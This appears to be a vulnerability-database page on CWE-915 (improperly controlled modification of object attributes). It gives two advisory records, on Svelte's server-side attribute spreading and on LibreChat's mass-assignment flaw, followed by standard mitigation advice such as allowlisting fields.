In server-side rendering, attribute spreading on elements (e.g. <div {...attrs}>) enumerates inherited properties from the object's prototype chain rather than only own properties. In environments where Object.prototype has already been polluted — a precondition outside of Svelte's control — this can cause unexpected attributes to appear in SSR output or cause SSR to throw errors. Client-side rendering is not affected.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.51.4"
      },
      "package": {
        "ecosystem": "npm",
        "name": "svelte"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.51.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27125"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-19T20:28:49Z",
    "nvd_published_at": "2026-02-20T23:16:02Z",
    "severity": "MODERATE"
  },
  "details": "In server-side rendering, attribute spreading on elements (e.g. `\u003cdiv {...attrs}\u003e`) enumerates inherited properties from the object\u0027s prototype chain rather than only own properties. In environments where `Object.prototype` has already been polluted \u2014 a precondition outside of Svelte\u0027s control \u2014 this can cause unexpected attributes to appear in SSR output or cause SSR to throw errors. Client-side rendering is not affected.",
  "id": "GHSA-crpf-4hrx-3jrp",
  "modified": "2026-02-23T22:23:50Z",
  "published": "2026-02-19T20:28:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sveltejs/svelte/security/advisories/GHSA-crpf-4hrx-3jrp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27125"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sveltejs/svelte/commit/73098bb26c6f06e7fd1b0746d817d2c5ee90755f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sveltejs/svelte"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sveltejs/svelte/releases/tag/svelte@5.51.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Svelte SSR attribute spreading includes inherited properties from prototype chain"
}

GHSA-CWVQ-3GPH-65P4

Vulnerability from github – Published: 2025-09-29 18:33 – Updated: 2025-09-29 18:33
VLAI
Details

A mass assignment vulnerability exists in danny-avila/librechat, affecting all versions. This vulnerability allows attackers to manipulate sensitive fields by automatically binding user-provided data to internal object properties or database fields without proper filtering. As a result, any extra fields in the request body are included in agentData and passed to the database layer, allowing overwriting of any field in the schema, such as author, access_level, isCollaborative, and projectIds. Additionally, the Object.Prototype can be polluted due to the use of Object.assign with spread operators.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-7104"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-29T17:15:32Z",
    "severity": "MODERATE"
  },
  "details": "A mass assignment vulnerability exists in danny-avila/librechat, affecting all versions. This vulnerability allows attackers to manipulate sensitive fields by automatically binding user-provided data to internal object properties or database fields without proper filtering. As a result, any extra fields in the request body are included in agentData and passed to the database layer, allowing overwriting of any field in the schema, such as author, access_level, isCollaborative, and projectIds. Additionally, the Object.Prototype can be polluted due to the use of Object.assign with spread operators.",
  "id": "GHSA-cwvq-3gph-65p4",
  "modified": "2025-09-29T18:33:13Z",
  "published": "2025-09-29T18:33:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7104"
    },
    {
      "type": "WEB",
      "url": "https://github.com/danny-avila/librechat/commit/a37bf6719cfbc2de270f7d87b6b85d87cc1768db"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/32a175c4-7543-4503-a3d0-7880abd1826b"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Implementation
  • If available, use features of the language or framework that allow specification of allowlists of attributes or fields that are allowed to be modified. If possible, prefer allowlists over denylists.
  • For applications written with Ruby on Rails, use the attr_accessible (allowlist) or attr_protected (denylist) macros in each class that may be used in mass assignment.
Mitigation
Architecture and Design Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

Mitigation
Implementation

Strategy: Input Validation

For any externally-influenced input, check the input against an allowlist of internal object attributes or fields that are allowed to be modified.

Mitigation
Implementation Architecture and Design

Strategy: Refactoring

Refactor the code so that object attributes or fields do not need to be dynamically identified, and only expose getter/setter functionality for the intended attributes.

No CAPEC attack patterns related to this CWE.